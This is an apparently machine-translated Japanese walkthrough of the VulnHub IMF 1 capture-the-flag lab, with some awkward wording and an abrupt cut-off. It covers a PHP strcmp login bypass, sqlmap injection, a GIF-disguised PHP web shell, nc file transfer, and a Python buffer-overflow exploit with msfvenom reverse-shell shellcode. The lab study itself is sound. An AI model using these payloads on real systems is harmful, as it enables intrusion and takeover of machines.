
今回は、VulnHubのBoot2Root
IMF 1を
検討します。 6つのフラグがあり、それぞれに以下を取得するためのヒントが含まれています。 また
、以前のタスクの
分析に慣れることをお勧めします。
始めましょう
通常どおりポートスキャンから始めましょう:
$ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
2016-12-25 22:41 MSKにNmap 7.01( nmap.org )を開始
統計:0:00:03経過; 0個のホストが完了(1個以上)、1個がSYNステルススキャン中
SYNステルススキャンのタイミング:約1.40%完了。 ETC:22:44(残り0:03:31)
192.168.1.116のNmapスキャンレポート
ホストが稼働しています(0.00046秒の遅延)。
ポートステートサービスバージョン
80 / tcp open http Apache httpd 2.4.18((Ubuntu))
MACアドレス:08:00:27:40:8D:1B(Oracle VirtualBox仮想NIC)
フラグ1
サイト上のディレクトリの検索を開始しましょう。
$ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403
見つかった各ページとそのコードを調べると、
contact.phpページで最初のフラグが見つかります。
<section id="service"> <div class="container"> <div class="service-wrapper"> <div class="row"> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1s"> <div class="icon"> <i class="fa fa-desktop"></i> </div> <h3>Roger S. Michaels</h3> <p>rmichaels@imf.local</p> <p>Director</p> </div> </div> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1.3s"> <div class="icon"> <i class="fa fa-paper-plane"></i> </div> <h3>Alexander B. Keith</h3> <p>akeith@imf.local</p> <p>Deputy Director</p> </div> </div> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1.6s"> <div class="icon"> <i class="fa fa-file-text"></i> </div> <h3>Elizabeth R. Stone</h3> <p>estone@imf.local</p> <p>Chief of Staff</p> </div> </div> </div> </div> </div> </section>
フラグ
flag1 {YWxsdGhlZmlsZXM =}に加えて、従業員の電子メールアドレスのリストもここにあります。
estone@imf.local
akeith@imf.local
rmichaels@imf.local
とりあえず保存してみましょう。フラグをデコードすると、次のヒントが得られます。
$ echo YWxsdGhlZmlsZXM= | base64 -d allthefiles
フラグ2
注意深く見ると、ページのコードの同じ場所でこのセクションに気付くことができます:
<script src="js/ZmxhZzJ7YVcxbVl.js"></script> <script src="js/XUnRhVzVwYzNS.js"></script> <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
base64のように見えます。 すべてをまとめると、2番目のフラグが取得されます。
$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d imfadministrator
フラグ3
結果のページでは、承認フォームが回転し、ページコードにかなり興味深いコメントが表示されます。
<form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> </form>
うーん、ほとんどの
場合 、PHPは
==または
strcmpを使用
して大文字と小文字を区別する文字列を比較します 。 後者には、1つの機能があります。文字列が配列と比較されると、関数は0を返します。
こちらをご覧ください。
passを
pass []に置き換えて、ログインrmichaelsを使用してログインを試みます。 すべてがうまくいきます! +1フラグ:
flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>
$ echo Y29udGludWVUT2Ntcw== | base64 -d continueTOcms
フラグ4
リンクをたどると、ページが表示されます。
アドレスバーにパラメータがあると、データベースまたは
Path Pathversalの存在がすぐに
わかります。 したがって、ページを
sqlmapで
提供し、結果を楽しみます。
sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent
いくつかの有益なメッセージを受け取ります。
[15:23:55] [情報] GETパラメーター 'pagename'は 'ANDブールベースのブラインド-WHEREまたはHAVING句'を注入可能(--string = "the"を使用)
[15:23:55] [情報]ヒューリスティック(拡張)テストは、バックエンドDBMSが「MySQL」である可能性があることを示しています
[15:24:10] [情報] GETパラメーター 'pagename'は 'MySQL UNIONクエリ(NULL)-1〜20列'の注入可能です
そして最終的に、
sqlmapは使用可能なデータベースのリストを作成します。
利用可能なデータベース[5]:
[*]管理者
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
ここで最も重要なのは、単一のテーブル
ページを持つ
管理データベースです
ここでは、別の非表示の
チュートリアル-不完全なページの存在を確認します。 コードからわかるように、画像は1つだけです。

ここのQRコードは明らかに
不要です。
切り取って
サイトに送信し、次のフラグを取得します:
flag4 {dXBsb2Fkcjk0Mi5waHA =}とヒント:
$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d uploadr942.php
フラグ5
ページに渡されると、ファイルアップロードフォームが開きます。 数回の試行の後、画像のみをアップロードできると判断しました。ヘッダーとファイル拡張子の両方がチェックされます。 ダウンロードが成功すると、ページコードでダウンロードしたファイルの名前を見つけます。
<html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1> File successfully uploaded. <form id="Upload" action="" enctype="multipart/form-data" method="post"> <p> <label for="file">File to upload:</label> <input id="file" type="file" name="file"> </p> <p> <input id="submit" type="submit" name="submit" value="Upload"> </p> </form> </body> </html>
アップロードディレクトリを確認した後、ファイルを見つけます。
shell.gifファイルを使用してシェルを埋めようとします。
GIF89a <?php system($_GET['cmd']); ?>
そして、応答でエラーが発生します!
OK、
システムおよび
exec関数のPHPドキュメントから、これらの代わりにこの構造も使用できることがわかります。
echo `id`;
シェルを修正してテストしてみましょう。
GIF89a <?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
うまくいきました! いいね! 同じディレクトリに、5番目の
flag5フラグ
{YWdlbnRzZXJ2aWNlcw ==}があります。 そして、次に進むべき別の手がかり:
$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d agentservices
旗6
ロードされたPHPシェルを使用してこのサービスを検索してみましょう(このシェルを介して実行されるコマンドは「>」で始まります)。 起動されたサービスの出力は何も生成しませんでしたが、
servicesファイルは興味深いことがわかりました。
> cat /etc/services | grep agent cmip-agent 164/tcp cmip-agent 164/udp zabbix-agent 10050/tcp
最後の行を除くすべてが標準です。 しかし、
nmapはこのポートが開いていることを検出しなかったため、サービスを開始する必要があるか、またはここで
ポートがノッキングしています。
実行してください:
> agent
サービスが開始され、グリーティングが発行されましたが、ポートにはまだアクセスできません。 サービスを見つけようとすると、近くに興味深いファイルが見つかります。
> whereis agent agent: /usr/local/bin/agent > ls -ahl /usr/local/bin/ -rw-r--r-- 1 root root 19 Oct 16 08:11 access_codes -rwxr-xr-x 1 root root 12K Oct 12 22:39 agent > cat /usr/local/bin/access_codes SYN 7482,8279,9467
はい、これはポートノッキングに非常に似ています。チェックしてください:
sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788
2016-12-30 22:31 MSKにNmap 7.01( nmap.org )を開始
192.168.1.116のNmapスキャンレポート
ホストが稼働しています(0.00030秒の遅延)。
ポートステートサービス
7788 / tcp open unknown
MACアドレス:08:00:27:40:8D:1B(Oracle VirtualBox仮想NIC)
ポートが開かれ、ポートに接続した後、再び
エージェントサービスの招待状を受け取ります。 これはすべて良いことですが、このサービスとの対話を続けるには、
IDを渡す必要があり
ます 。 したがって、さらに分析するために自分でダウンロードしてください。
$ nc -l -p 9999 > agent > nc 192.168.1.124 9999 < /usr/local/bin/agent
IDAで開き、
メイン関数に移動すると、正しい
IDを見つけることができます
さらに、コードを表示した後、IDを入力すると、サービスがメニューを開き、選択したアイテムに応じて特定の機能を開始することが明らかになり、
レポート機能が最も興味深いことが判明しました
ユーザー入力チェックがないため、最も一般的なバッファオーバーフローが発生します。 それを
pedaで実行し、リターンアドレスが配置されているオフセットを見つけます。 パターンを作成します。
レポート機能に渡します
崩壊後、変位を見つけます。
さて、エクスプロイトの作成を開始できます。
Metasploitのシェルを使用します。
$ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"
import socket port = 7788 host = '192.168.1.116' agent_id = 48093572 buf = "" buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33" buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2" buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b" buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1" buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47" buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8" buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0" buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb" shell = buf shell += "\x90"*(168-len(shell))
ローカルデバッグ中にアプリケーションがクラッシュした後に
pedaの出力をよく見ると、EAXレジスタがスタックの先頭を指していることがわかります。
攻撃を受けているホストでASLRが有効になっています。これは、コマンドの後に表示されます。
> cat /proc/sys/kernel/randomize_va_space 2
したがって、
ret2regとしても知られる方法を使用します。 たとえば、
ここで詳細を読むことができます。
必要なアドレス(0x08048563)が見つかりました。 エクスプロイトに追加します。
shell += "\x63\x85\x04\x08" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall('%s\n' %(agent_id)) s.sendall('3\n') s.sendall(shell) data = s.recv(1024) print(data)
Metasploitを起動します。
最後に、エクスプロイトを起動した後、
ルート権限を持つシェルを取得します:
$ python ./exploit_bof.py
そして実際に最後のフラグを取ります:
デコード:
$ echo R2gwc3RQcm90MGMwbHM= | base64 -d Gh0stProt0c0ls
PSこれは、Webサーバーのルートディレクトリからのファイルがどのように見えるかです。
index.php <?php session_start(); $loggedin=false; if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') { echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; $loggedin=true; } elseif (isset($_POST["user"]) && isset($_POST["pass"])) { $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf"; sleep(3);
uploadr942.php <html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1> <?php